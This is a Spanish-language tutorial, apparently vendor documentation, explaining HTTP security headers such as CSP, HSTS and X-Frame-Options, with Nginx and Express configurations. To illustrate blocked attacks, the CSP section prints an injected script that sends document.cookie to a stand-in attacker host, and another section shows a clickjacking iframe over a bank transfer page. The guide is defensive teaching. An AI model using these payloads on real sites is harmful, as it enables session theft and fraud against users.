HTTP security headers son headers de respuesta que instruyen a los navegadores a activar protecciones de seguridad integradas. Headers como Content-Security-Policy, X-Frame-Options y Strict-Transport-Security defienden contra ataques XSS, clickjacking y degradación de protocolo al imponer políticas de seguridad a nivel del navegador.
Cómo Funcionan los HTTP Security Headers
Los security headers son enviados por el servidor en las respuestas HTTP antes del contenido de la página. Los navegadores analizan estos headers y activan mecanismos de seguridad correspondientes antes de renderizar la página, creando una capa defensiva que opera independientemente del código de la aplicación.
┌──────────────────────────────────────────────────────────────────────┐│ Flujo de Security Header ││ ││ Servidor ││ │ ││ │ HTTP/1.1 200 OK ││ │ Content-Security-Policy: default-src 'self' ││ │ X-Frame-Options: DENY ││ │ Strict-Transport-Security: max-age=31536000 ││ │ X-Content-Type-Options: nosniff ││ │ Referrer-Policy: strict-origin-when-cross-origin ││ │ Permissions-Policy: geolocation=() ││ │ ││ ▼ ││ Navegador ──▶ Analiza headers ──▶ Activa protecciones ──▶ Renderiza ││ │└──────────────────────────────────────────────────────────────────────┘Headers de Seguridad Esenciales
1. Content-Security-Policy (CSP)
Controla qué recursos puede cargar el navegador, previniendo ataques XSS e inyección de datos.
| Directiva | Propósito | Ejemplo |
|---|---|---|
default-src | Fallback para otras directivas | 'self' |
script-src | Fuentes válidas de JavaScript | 'self' 'unsafe-inline' |
style-src | Fuentes válidas de CSS | 'self' 'unsafe-inline' |
img-src | Fuentes válidas de imágenes | 'self' data: https: |
connect-src | Endpoints válidos para AJAX/WebSocket | 'self' api.ejemplo.com |
font-src | Fuentes válidas de fuentes | 'self' fonts.gstatic.com |
frame-src | Fuentes válidas de iframes | 'self' |
object-src | Fuentes válidas de plugins | 'none' |
Configuración CSP básica:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.ejemplo.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'CSP con nonce para scripts inline:
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'<script nonce="abc123def456"> // Este script inline está permitido console.log('Script inline seguro');</script>Ataque prevenido:
<!-- Atacante inyecta esto - BLOQUEADO por CSP --><script> fetch('https://malicioso.com/robar?cookie=' + document.cookie);</script>2. Strict-Transport-Security (HSTS)
Fuerza a los navegadores a usar HTTPS para todas las solicitudes futuras al dominio, previniendo ataques de degradación de protocolo.
| Directiva | Propósito | Ejemplo |
|---|---|---|
max-age | Duración en segundos | 31536000 (1 año) |
includeSubDomains | Aplicar a todos los subdominios | Opcional |
preload | Enviar a listas de preload de navegadores | Opcional |
HSTS básico:
Strict-Transport-Security: max-age=31536000HSTS con subdominios y preload:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadAtaque prevenido:
Sin HSTS: Usuario escribe: ejemplo.com Navegador intenta: http://ejemplo.com (vulnerable a MITM) Atacante intercepta, roba credenciales
Con HSTS: Usuario escribe: ejemplo.com Navegador fuerza: https://ejemplo.com (seguro) Atacante no puede interceptar3. X-Frame-Options
Impide que la página sea incrustada en iframes en otros dominios, bloqueando ataques de clickjacking.
| Valor | Efecto |
|---|---|
DENY | Bloquea todo framing |
SAMEORIGIN | Permite solo framing del mismo origen |
ALLOW-FROM origin | Permite origen específico (descontinuado) |
Configuración recomendada:
X-Frame-Options: DENYO usar CSP frame-ancestors (enfoque moderno):
Content-Security-Policy: frame-ancestors 'none'Ataque prevenido:
<!-- Sitio del atacante malicioso.com --><iframe src="https://banco.ejemplo.com/transferir" style="opacity: 0.1"> <button style="position: absolute; top: 100px;">¡Gana Premio!</button></iframe><!-- Usuario hace clic en "¡Gana Premio!" pero en realidad hace clic en botón de transferencia --><!-- BLOQUEADO: Página del banco no puede ser enmarcada en malicioso.com -->4. X-Content-Type-Options
Impide a los navegadores hacer MIME-sniffing de respuestas diferentes al content-type declarado, bloqueando uploads maliciosos.
X-Content-Type-Options: nosniffAtaque prevenido:
Sin nosniff: 1. Atacante sube "imagen.jpg" conteniendo JavaScript 2. Servidor sirve con Content-Type: image/jpeg 3. Navegador analiza contenido, detecta JavaScript 4. Navegador ejecuta como script → XSS
Con nosniff: 1. Navegador respeta Content-Type: image/jpeg 2. Rehúsa ejecutar como script 3. Ataque bloqueado5. Referrer-Policy
Controla cuánta información de referrer se envía con las solicitudes.
| Valor | Comportamiento |
|---|---|
no-referrer | Nunca enviar referrer |
no-referrer-when-downgrade | Sin referrer en HTTPS→HTTP |
origin | Envía solo origen (no URL completa) |
origin-when-cross-origin | URL completa same-origin, origen cross-origin |
same-origin | Referrer solo para same-origin |
strict-origin | Solo origen, sin referrer en downgrade |
strict-origin-when-cross-origin | Predeterminado recomendado |
Configuración recomendada:
Referrer-Policy: strict-origin-when-cross-origin6. Permissions-Policy (antes Feature-Policy)
Controla qué features y APIs del navegador puede usar la página.
Políticas comunes:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()Permitir orígenes específicos:
Permissions-Policy: geolocation=(self "https://maps.ejemplo.com"), camera=()7. Cross-Origin Policies
Headers modernos para controlar uso compartido de recursos cross-origin.
Cross-Origin-Opener-Policy (COOP):
Cross-Origin-Opener-Policy: same-originAísla contexto de navegación, previene referencias de ventana cross-origin.
Cross-Origin-Embedder-Policy (COEP):
Cross-Origin-Embedder-Policy: require-corpRequiere permiso explícito para carga de recursos cross-origin.
Caso de uso: Habilitar SharedArrayBuffer:
Cross-Origin-Opener-Policy: same-originCross-Origin-Embedder-Policy: require-corpComparación de Security Headers
| Header | Ataque Prevenido | Soporte Navegador | Prioridad |
|---|---|---|---|
| Content-Security-Policy | XSS, inyección | Todos modernos | Crítica |
| Strict-Transport-Security | MITM, downgrade | Todos modernos | Crítica |
| X-Frame-Options | Clickjacking | Todos | Alta |
| X-Content-Type-Options | MIME sniffing | Todos | Alta |
| Referrer-Policy | Fuga de datos | Todos modernos | Media |
| Permissions-Policy | Abuso de features | Navegadores modernos | Media |
| Cross-Origin-* | Ataques side-channel | Navegadores modernos | Avanzado |
Ejemplos de Implementación
Nginx
server { listen 443 ssl http2; server_name ejemplo.com;
# HSTS add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Content Security Policy add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
# Frame protection add_header X-Frame-Options "DENY" always;
# MIME sniffing protection add_header X-Content-Type-Options "nosniff" always;
# Referrer policy add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;}Express.js
const helmet = require('helmet');
app.use(helmet());
// O configurar individualmenteapp.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.ejemplo.com"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'"], fontSrc: ["'self'", "https://fonts.gstatic.com"], objectSrc: ["'none'"], frameAncestors: ["'none'"], baseUri: ["'self'"], formAction: ["'self'"] } }));Probando Security Headers
Herramientas Online
| Herramienta | URL |
|---|---|
| Security Headers | securityheaders.com |
| Mozilla Observatory | observatory.mozilla.org |
| Hardenize | hardenize.com |
Línea de Comandos
# Verificar headers con curlcurl -I https://ejemplo.com
# Verificar header específicocurl -sI https://ejemplo.com | grep -i "content-security-policy"
# Verificar todos los security headerscurl -sI https://ejemplo.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"Errores Comunes
| Error | Impacto | Corrección |
|---|---|---|
| CSP ausente | Vulnerabilidad XSS | Implementar CSP estricto |
CSP con unsafe-inline scripts | Protección XSS reducida | Usar nonces o hashes |
| HSTS max-age corto | Protección expira | Usar mínimo 1 año |
| HSTS sin subdominios | Ataques de downgrade en subdominios | Agregar includeSubDomains |
Usar X-Frame-Options: ALLOW-FROM | Descontinuado, no confiable | Usar DENY o CSP frame-ancestors |
| CSP muy permisivo | Protección limitada | Usar 'self' en lugar de * |
FAQ
¿Cuál es la diferencia entre X-Frame-Options y CSP frame-ancestors? X-Frame-Options es más antiguo y solo soporta DENY o SAMEORIGIN. CSP frame-ancestors es más flexible, permitiendo orígenes específicos. Usa CSP para nuevos proyectos, pero mantén ambos para compatibilidad.
¿Por qué CSP usa 'unsafe-inline' y es seguro? 'unsafe-inline' permite scripts/estilos inline, lo que debilita la protección XSS. Usa nonces o hashes en producción. Solo usa 'unsafe-inline' durante migración o cuando nonces no son viables.
¿Cómo probar CSP sin romper mi sitio? Usa el header Content-Security-Policy-Report-Only para registrar violaciones sin bloquear:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports¿Los security headers previenen todos los ataques XSS? No. CSP reduce significativamente el riesgo de XSS pero no puede prevenir XSS basado en DOM de scripts del mismo origen. Combina con output encoding y validación de input.
¿Los security headers afectan el rendimiento? Impacto mínimo. HSTS ahorra tiempo de redirect. CSP puede bloquear algunos recursos, que es el comportamiento esperado. Los headers añaden ~500 bytes a las respuestas.
Cómo Implementar en Azion
La Edge Application de Azion permite configurar security headers globalmente en el edge:
- Edge Application → Rules Engine - Agregar security headers a todas las respuestas
- Response Headers - Configurar CSP, HSTS, X-Frame-Options en las Rules
- Edge Functions - Generación dinámica de nonce CSP para scripts inline
Ver: Rules Engine | Functions